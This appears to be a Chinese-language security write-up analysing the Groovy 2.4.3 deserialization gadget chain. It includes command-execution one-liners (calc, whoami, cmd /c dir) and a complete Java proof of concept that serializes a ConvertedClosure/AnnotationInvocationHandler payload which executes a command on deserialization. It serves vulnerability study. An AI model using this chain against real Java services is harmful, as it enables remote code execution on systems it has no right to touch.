参考链接:
环境搭建
Pom依赖:
1 2 3 4 5
| <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.3</version> </dependency>
|
再准备个Maven quickstart
Groovy命令执行
MethodClosure
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example
import org.codehaus.groovy.runtime.MethodClosure
import java.lang.reflect.Method
class Groovy { static void main(String[] args) { MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec"); Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class); m.setAccessible(true); m.invoke(mc, "calc"); } }
|
首先poc如上,然后我们看一下具体的调用,漏洞触发点实在docall方法
通过getowner获取owner属性
调用owner属性的任意method,那么就可以rce
String.execute()
Groovy为String对象封装了一个execute方法用来动态执行命令
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example
import org.codehaus.groovy.runtime.MethodClosure
import java.lang.reflect.Method
class Groovy { static void main(String[] args) { println("whoami".execute().text); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| // 直接命令执行 Runtime.getRuntime().exec("calc") "calc".execute() 'calc'.execute() "${"calc".execute()}" "${'calc'.execute()}"
// 回显型命令执行 println "cmd /c dir".execute().text println 'whoami'.execute().text println "${"whoami".execute().text}" println "${'whoami'.execute().text}" def cmd = "whoami"; println "${cmd.execute().text}";
|
ConvertedClosure
ConvertedCloure实际上是一个动态代理类,看名字是一个闭包函数,这个不重要,它继承了ConversionHandler
而ConversionHandler又继承了InvocationHandler
因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,代理的具体逻辑。
如果初始化时指定的 method 与invokeCustom指定的 method 参数相同,则invokeCustom方法将会调用代理对象 Closure 的 call 方法执行传入参数执行
Groovy反序列化构造
既然是动态代理那肯定得走CC1那条路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.Map;
public class App { public static void main( String[] args ) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { MethodClosure methodClosure = new MethodClosure("calc", "execute"); ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy")); outputStream.writeObject(invocationHandler); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy")); inputStream.readObject(); } catch(Exception e){ e.printStackTrace(); } } }
|
这条链的调用栈如下,和CC1其实是大同小异
1 2 3 4 5 6
| AnnotationInvocationHandler.readObject() Map.entrySet() (Proxy) ConversionHandler.invoke() ConvertedClosure.invokeCustom() MethodClosure.call() ProcessGroovyMethods.execute()
|
从entrySet往后走开始有略微不同变化
流程分析
调用entrySet,然后触发invoke
this是ConvertedClosure
它继承了 ConversionHandler
,所以是走进父类里面的方法,在这里面进而触发invokeCustom
最后调用call方法rce
最终RCE